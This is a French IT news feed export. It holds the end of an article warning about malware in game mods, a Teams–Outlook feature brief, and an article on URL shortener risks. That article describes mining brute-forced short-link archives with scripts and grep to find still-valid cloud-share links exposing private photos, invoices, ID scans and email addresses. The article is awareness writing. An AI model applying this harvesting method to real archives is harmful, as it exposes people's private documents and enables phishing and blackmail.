<p>Un attaquant n'aura donc qu'à créer un mod qui semble légitime (par exemple via une modification des couleurs du jeu) et à inclure dans celui-ci du code malveillant. <strong>Les mods étant diffusés et installés par les joueurs, et non <em>via</em> un mécanisme propre au jeu, aucun contrôle de sécurité ne sera effectué.</strong></p>
<p>Également, le code malveillant peut être diffusé selon le même modèle,<strong> mais cette fois si sous la forme d'une triche,</strong> par exemple "<em>Insère ce ficher à la place du fichier existant dans le répertoire /scripts/ du jeu et tous tes unités seront presque invincible</em>".<br />
Bref, ce ne sont pas les idées qui manquent, et peu nombreux seront les joueurs qui penseront à regarder (et comprendre) le contenu du mod afin de vérifier qu'il ne contient pas de code malveillant à l'intérieur.</p>
<h2>VII. Conclusion</h2>
<p>Quelques leçons à tirer de cet article :</p>
<ul>
<li>L'étude du fonctionnement d'un jeu utilise les mêmes techniques et outils que l'analyse de malware ou de n'importe quel autre logiciel.</li>
<li>Un jeu modifiable (souvent pour laisser la possibilité aux joueurs de créer des mods) possède souvent une plus grand surface d'attaque car les développeurs laissent intentionnellement le code du jeu et son fonctionnement interne consultables par les joueurs.</li>
<li>Les jeux qui tournent en local uniquement (c'est à dire non multijoueurs) ne possèdent souvent aucun mécanisme de protection ou de solution anti-cheat, ils font donc une cible de choix pour s'entrainer.</li>
<li>Soyez vigilants lorsque vous téléchargez et installez un mod, également lorsque que vous installez des jeux "non officiels".</li>
</ul>


feed_id: https://www.it-connect.fr/?p=34525
title: Microsoft renforce l’intégration de Teams avec Outlook
uri: Microsoft-renforce-l-intégration-de-Teams-avec-Outlook
url: https://www.it-connect.fr/microsoft-renforce-lintegration-de-teams-avec-outlook/
content:
<p><strong>Microsoft continue de faire évoluer sa plateforme collaborative Teams en ajoutant de nouvelles fonctionnalités afin de renforcer les interactions entre Teams et le client de messagerie Outlook.</strong></p>
<p>L'objectif étant de continuer à simplifier le travail de groupe en entreprise et de rendre plus fluide vos actions. Désormais, Microsoft Teams et Outlook vont permettre de :</p>
<p>- Déplacer une conversation Outlook directement vers un chat Teams<br />
- Partager une conversation Teams dans un e-mail via Outlook</p>
<p>Ces deux nouvelles fonctionnalités vont renforcer le lien entre Outlook et Teams. En complément, Microsoft a ajouté la possibilité d'ajouter un tag / une balise aux membres de l'entreprise. Le but étant d'aider les utilisateurs à mieux cibler leurs messages.</p>
<p><strong>Teams intègre également une fonctionnalité de sous-titrage en direct pour permettre de lire ce que les gens disent en temps réel</strong>, ce qui peut s'avérer très pratique dans les environnements bruyants. Reste à voir l'efficacité de cette nouveauté, pour le moment elle est disponible seulement en anglais.</p>
<p>Microsoft a également inclus d'autres fonctionnalités à Teams :</p>
<p>- Épingler des applications directement sur le volet de gauche pour un accès plus rapide<br />
- Préserver les messages de canaux privés sans qu'ils puissent être supprimés grâce à la fonction de mise en suspens juridique<br />
- Améliorer le<em> machine learning</em> de Teams pour faciliter la détection des conversations qui seraient inaproprié vis-à-vis de la politique de l'entreprise</p>


feed_id: https://www.it-connect.fr/?p=34071
title: Les dangers des raccourcisseurs d’URL
uri: Les-dangers-des-raccourcisseurs-d-URL
url: https://www.it-connect.fr/les-dangers-des-raccourcisseurs-durl/
content:
<h2>I. Présentation</h2>
<p>Dans cet article, je vais vous exposer quelques dangers relatifs à l'utilisation des raccourcisseurs d'URL (<em>URL Shortener</em>) au travers plusieurs exemples concrets.</p>
<h2>II. Qu'est-ce qu'un raccourcisseur d'URL ?</h2>
<p>Les raccourcisseurs d'URL, ou <em>URL Shortener</em> sont des applications en ligne qui permettent aux utilisateurs de créer une URL assez courte, redirigeant vers une URL plus longue. Par exemple l'application web <em>bit.ly</em> va, pour l'URL<em> https://thehackernews.com/2018/09/twitter-account-hacked.html</em> me fournir l'URL courte suivante : <em>https://bit.ly/2xcoe0N</em></p>
<p>&nbsp;</p>
<p><a href="media/97785a5f.bitly_shortenerURL_01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01.png"><img class="aligncenter size-large wp-image-34139" src="media/d696c5ca.bitly_shortenerURL_01-800x373.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-800x373.png" alt="" width="800" height="373" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-800x373.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-550x257.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-768x358.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-160x75.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_01.png 1054w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Lorsque que l'utilisateur clique sur l'URL <em>https://bit.ly/2xcoe0N</em>, il requête le service <em>bit.ly,</em> qui stocke dans ses bases de données la correspondance <em>2xcoe0N </em>= <em>https://thehackernews.com/2018/09/twitter-account-hacked.html,</em> et le redirige vers l'URL longue <em>via </em> une redirection 301 :</p>
<p><a href="media/5d5cca4b.bitly_shortenerURL_02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02.jpg"><img class="aligncenter size-large wp-image-34140" src="media/c52c8f17.bitly_shortenerURL_02-800x589.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-800x589.jpg" alt="" width="800" height="589" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-800x589.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-550x405.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-150x110.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-768x565.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-160x118.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02-50x37.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_02.jpg 1095w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Ces URL sont plus facile à retenir, mais aussi à partager sur les réseaux sociaux, lors de la saisie d'URL sur mobile, la transmission de liens par mail, etc. Les raccourcisseurs d'URL sont aujourd'hui largement utilisés et nombre d'applications possèdent des intégrations natives ou <em>via</em> modules de ceux-ci. Prenons l'exemple de Google Maps, qui possède son propre raccourcisseur d'URL afin de partager des trajets :</p>
<p><a href="media/c2209c61.gmaps_URL.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL.png"><img class="aligncenter size-large wp-image-34145" src="media/cafa9382.gmaps_URL-800x525.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-800x525.png" alt="" width="800" height="525" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-800x525.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-550x361.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-150x98.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-768x504.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-160x105.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL-50x33.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/gmaps_URL.png 1166w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Il existe beaucoup de raccourcisseurs d'URL aujourd'hui, parmi les plus utilisés: <em>bit.ly, buff.ly, TinyURL, ow.ly.</em>.. Certains services tels que <em>bit.ly</em> assurent qu'un lien court créé n'expirera jamais :</p>
<p><a href="media/6005b73c.bitly_expire.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire.png"><img class="aligncenter size-large wp-image-34137" src="media/fd69d17f.bitly_expire-800x370.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-800x370.png" alt="" width="800" height="370" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-800x370.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-550x254.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-768x355.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-160x74.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_expire.png 945w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<h2>III. Quels sont les dangers ?</h2>
<p>Plusieurs problèmes bien connus concernent les raccourcisseurs d'URL, le premier étant bien entendu que l'utilisateur qui clique sur un lien court ne peut pas savoir où il va atterrir, il s'agit donc d'un outil facilitant le <em>phishing,</em> notamment pour les cas où une charge utile (Javascript par exemple) est exécutée dés le premier accès et sans action supplémentaire de l'utilisateur. Cela peut également être intéressant pour l'exploitation de vulnérabilité CSRF (voir <a href="https://ogma-sec.fr/dvwa-csrf-file-inclusion-solutions-explications-protections/" target="_blank" rel="noopener noreferrer">https://ogma-sec.fr/dvwa-csrf-file-inclusion-solutions-explications-protections/</a>). Bref. Pour cela, plusieurs services en ligne existent et permettent de vous afficher la destination finale d'un lien court avant tout accès (<em><a href="https://checkshorturl.com/expand.php" target="_blank" rel="noopener noreferrer">https://checkshorturl.com/expand.php</a>)</em>, il faut cependant avoir le réflexe de les utiliser.</p>
<p><a href="media/cc78ecb1.bitly_shortenerURL_03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03.jpg"><img class="aligncenter size-large wp-image-34141" src="media/f45c0b1c.bitly_shortenerURL_03-800x581.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-800x581.jpg" alt="" width="800" height="581" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-800x581.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-550x399.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-150x109.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-768x557.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-160x116.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03-50x36.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_shortenerURL_03.jpg 893w" sizes="(max-width: 800px) 100vw, 800px" /></a> Il est également possible d'obtenir des métriques intéressantes sur un lien pour certains services en ajoutant un "+" à la fin de l'URL courte (par exemple <a href="https://bit.ly/2xcoe0N+" target="_blank" rel="noopener noreferrer">https://bit.ly/2xcoe0N+</a>). Bit.ly et goo.gl proposent notamment cette fonctionnalité, qui permet également de voir la destination finale du lien sans y accéder. :</p>
<p><a href="media/04e38997.bitly_plus.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus.jpg"><img class="aligncenter size-large wp-image-34138" src="media/c806c258.bitly_plus-800x526.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-800x526.jpg" alt="" width="800" height="526" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-800x526.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-550x362.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-768x505.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-160x105.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus-50x33.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/bitly_plus.jpg 944w" sizes="(max-width: 800px) 100vw, 800px" /></a> On peut ainsi facilement voir, sans accéder directement à l'URL cible, si nous somme le seul à avoir cliqué sur le lien, quelles sont les populations ciblées, quand le lien a été créé, etc. Un autre problème se pose cependant. Une URL peut être une donnée sensible, elle peut contenir des informations importantes en paramètre (transmission de paramètres GET, qui sont présents dans l'URL), notamment :</p>
<ul>
<li>un identifiant de connexion</li>
<li>une adresse mail</li>
<li>un token ou jeton de session</li>
<li>toute autre données personnelles</li>
</ul>
<p>Par exemple :</p>
<pre>https://monsite.fr/login.php?user=admin&amp;pass=MonPassword123@</pre>
<p>Il est aussi fréquent que les raccourcisseurs d'URL soient utilisés pour "résoudre" des URL qui ne sont pas directement exposées sur internet, au sein d'une même équipe dans une entreprise par exemple. Cela peut exposer des informations concernant l'infrastructure interne d'une entreprise. Enfin, la notion de complexité de l'URL (ou plutôt de ses paramètres) est ici à rappeler. Certains services, par exemple de partage de documents (DropBox, Google Drive, One Drive), possèdent une fonctionnalité de partage de documents simple d'utilisation. Si je suis le propriétaire d'un document et que je souhaite le partager avec une personne (non authentifiée sur le service), la fonctionnalité de partage de document par URL va créer une URL telle que celle-ci :</p>
<pre>https://1drv.ms/f/s!AuxYRKDNC_FxgXdUkb9vYMbmbmNV</pre>
<p>Je n'ai plus qu'à envoyer ce lien à la personne concernée pour qu'elle puisse accéder à mon document. La sécurité de l'accès à la donnée cachée derrière ce lien réside donc dans la robustesse (taille + alphabets et entropie des caractères) du jeton présent dans l'URL (<em>AuxYRKDNC_FxgXdUkb9vYMbmbmNV</em>). Si cette information est connue par une autre personne, elle pourra accéder à la donnée. Il est donc dans l'intérêt de l'utilisateur de créer des jetons longs et complexes. On retrouve le même principe dans les liens de réinitialisation de mot de passe envoyés par mail, qui utilisent uniquement un jeton pour retrouver le compte souhaitant réinitialiser son mot de passe, exemple :</p>
<pre>https://monsite.fr/resetpassword.php?token=dhfjkenpzdmQSLHQPCEUCNZMfqsdfnpcNDMSQLKDJENMmqlfsqmfk</pre>
<p>Les raccourcisseurs d'URL viennent ici casser la complexité des jetons car ils permettent de cacher une URL complexe derrière une URL "courte" contenant comme donnée inconnue uniquement quelques caractères (par exemple, 6 caractères pour <em>bit.ly</em>).</p>
<h2>IV. Le projet URLTeam</h2>
<p>Les URL courtes sont donc plus simple à "casser" (brute forcer), c'est d'ailleurs l'objectif du projet URLTeam (<a href="https://www.archiveteam.org/index.php/URLTeam" target="_blank" rel="noopener noreferrer">https://www.archiveteam.org/index.php/URLTeam</a>) qui va chercher à retrouver toutes les possibilités de liens raccourcis afin de voir si ceux-ci redirigent vers une URL ou non. Grâce à un traitement réparti sur des centaines de machines volontaires (à l'image d'un botnet), n’importe qui peut mettre sur son système un petit <em>script</em> qui va participer à la résolution des URL raccourcies. Les résultats du projet (URL nouvellement résolues) sont publiés sur archive.org : <a href="https://archive.org/search.php?query=subject%3A%22urlteam%22" target="_blank" rel="noopener noreferrer">https://archive.org/search.php?query=subject%3A%22urlteam%22</a> Vous pouvez d'ailleurs suivre en direct le nombre de liens retrouvés pour chaque services (<a href="https://tracker.archiveteam.org:1338/status" target="_blank" rel="noopener noreferrer">https://tracker.archiveteam.org:1338/status</a>), soit plus de deux milliards de liens résolus pour <em>bit.ly</em>, plus d'un milliard pour <em>tinyurl</em>, etc.</p>
<p><a href="media/739a3782.urlteam_project.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project.png"><img class="aligncenter size-large wp-image-34153" src="media/17f83b8d.urlteam_project-800x462.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-800x462.png" alt="" width="800" height="462" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-800x462.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-550x317.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-150x87.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-768x443.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-160x92.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/urlteam_project.png 1125w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Il faut donc considérer que chaque URL saisie dans un service de raccourcisseur d'URL est publique (dans le sens "référencée quelque part"). Je me suis donc penché sur le contenu des archives de l'URLTeam afin de voir ce qu'il pouvait y avoir d'intéressant, et je n'ai pas été déçu du voyage. URLTeam publie donc plusieurs fois par mois les nouvelles URL résolues grâce à son réseau de machines volontaires :</p>
<p><a href="media/9240f9d2.archive.org_urlteam.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam.jpg"><img class="aligncenter size-large wp-image-34134" src="media/7aabadb9.archive.org_urlteam-800x483.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-800x483.jpg" alt="" width="800" height="483" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-800x483.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-550x332.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-150x91.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-768x464.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-160x97.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam-50x30.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam.jpg 1216w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Attention, les URL nouvellement résolues ne sont pas à confondre avec les URL courtes récemment créées. Nous avons vu que la plupart des services ne font jamais expirer leurs liens courts, ceux-ci peuvent donc être résolus par brute force bien après leur création. Une seule archive "URLTeam Release" pèse en général plusieurs centaines de mégaoctets et ne contient que des documents texte remplis de liens :</p>
<p><a href="media/a33e816b.archive.org_urlteam_01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01.jpg"><img class="aligncenter size-full wp-image-34135" src="media/a33e816b.archive.org_urlteam_01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01.jpg" alt="" width="800" height="437" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01-550x300.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01-150x82.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01-768x420.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01-160x87.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/archive.org_urlteam_01-50x27.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Je me suis donc créé un petit <em>script</em> qui se charge de récupérer les dernières archives publiées par l'URLTeam et de les décompresser correctement pour me laisser uniquement les fichiers textes :</p>
<p><a href="media/f98a9997.script_urlteam.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam.jpg"><img class="aligncenter size-large wp-image-34151" src="media/62ac6a75.script_urlteam-800x504.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-800x504.jpg" alt="" width="800" height="504" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-800x504.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-550x346.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-768x484.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-160x101.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/script_urlteam.jpg 1288w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Cela me permet ensuite d'utiliser d'autres <em>scripts</em> et des commandes <em>grep</em> pour y trouver des informations intéressantes. J'ai par exemple créé un <em>script</em> qui se charge de récupérer tous les liens d'applications de partage de document (Owncloud, Google Drive, One Drive, Dropbox), qui possèdent des formats d'URL facile à identifier, puis de voir si les liens amènent vers des documents encore valides. Par exemple, un lien partagé Dropbox ressemble à cela  :</p>
<p><a href="media/90062cb5.dropbox_01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01.jpg"><img class="aligncenter size-large wp-image-34143" src="media/717113d9.dropbox_01-800x305.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-800x305.jpg" alt="" width="800" height="305" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-800x305.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-550x210.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-150x57.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-768x293.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-160x61.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01-50x19.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/dropbox_01.jpg 1002w" sizes="(max-width: 800px) 100vw, 800px" /></a> L'accès à cela un lien peut mener à:</p>
<ul>
<li>un document valide et accessible ;</li>
<li>une demande d'authentification ;</li>
<li>une page d'erreur 404 ou un document expiré.</li>
</ul>
<p>Pour chaque service, je n'ai donc qu'à observer les différents comportements possibles et filtrer les réponses pour ne récupérer que les liens valides. Voici un exemple de sortie :</p>
<p><a href="media/fc42e5b2.checklink.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink.jpg"><img class="aligncenter size-large wp-image-34142" src="media/e04ec9c5.checklink-800x300.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-800x300.jpg" alt="" width="800" height="300" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-800x300.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-550x206.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-150x56.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-768x288.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-160x60.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink-50x19.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/checklink.jpg 1044w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Pour une seule archive, je récupère en général plusieurs centaines de document Google Drive et Dropbox valides et quelques dizaines de documents Owncloud et One Drive. Il est alors très facile de découvrir des photos de famille, des documents "sensibles" (factures, fiche de paie, CV), des documents partagés collaboratifs, parfois des <em>scans</em> de cartes d'identité ou documents bancaires. ..</p>
<p><a href="media/3c43eebd.photo01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01.jpg"><img class="aligncenter size-large wp-image-34150" src="media/be1c5c20.photo01-800x392.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-800x392.jpg" alt="" width="800" height="392" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-800x392.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-550x270.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-768x376.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-160x78.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01-50x25.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/photo01.jpg 1010w" sizes="(max-width: 800px) 100vw, 800px" /></a><a href="media/9b7ee6a1.facture01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01.jpg"><img class="aligncenter size-large wp-image-34144" src="media/b91ad89c.facture01-800x492.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-800x492.jpg" alt="" width="800" height="492" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-800x492.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-550x338.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-150x92.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-768x472.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-160x98.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/facture01.jpg 1157w" sizes="(max-width: 800px) 100vw, 800px" /></a> <a href="media/4107f794.video.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video.jpg"><img class="aligncenter size-large wp-image-34154" src="media/8318978b.video-800x602.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-800x602.jpg" alt="" width="800" height="602" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/video.jpg 1005w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Le nombre de documents accessibles trouvés par archive est assez impressionnant. Il est certains qu'un attaquant qui cherche des données sur une entreprise ou un utilisateur précis perdra son temps, mais l'obtention de documents <em>a priori</em> privés peut facilement faire des utilisateurs propriétaires de ces documents des cibles, notamment pour du <em>phishing, </em>chantage et du vol de compte. J'ai également gardé plusieurs commandes <em>grep</em> qui permettent de filtrer :</p>
<ul>
<li>des extensions sensibles (.zip, .bak, .save, .sql)</li>
</ul>
<p><a href="media/d86ffa8c.backup_url_shortener.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener.jpg"><img class="aligncenter size-large wp-image-34136" src="media/902df711.backup_url_shortener-800x395.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-800x395.jpg" alt="" width="800" height="395" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-800x395.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-550x271.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-768x379.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-160x79.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener-50x25.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/backup_url_shortener.jpg 995w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<ul>
<li>des adresses mail (par milliers)</li>
</ul>
<p><a href="media/974dd052.mail_url_shortener.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener.jpg"><img class="aligncenter size-full wp-image-34148" src="media/974dd052.mail_url_shortener.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener.jpg" alt="" width="769" height="322" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener.jpg 769w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener-550x230.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener-150x63.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener-160x67.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/mail_url_shortener-50x21.jpg 50w" sizes="(max-width: 769px) 100vw, 769px" /></a></p>
<ul>
<li>des adresses mail en .gouv/.gov</li>
</ul>
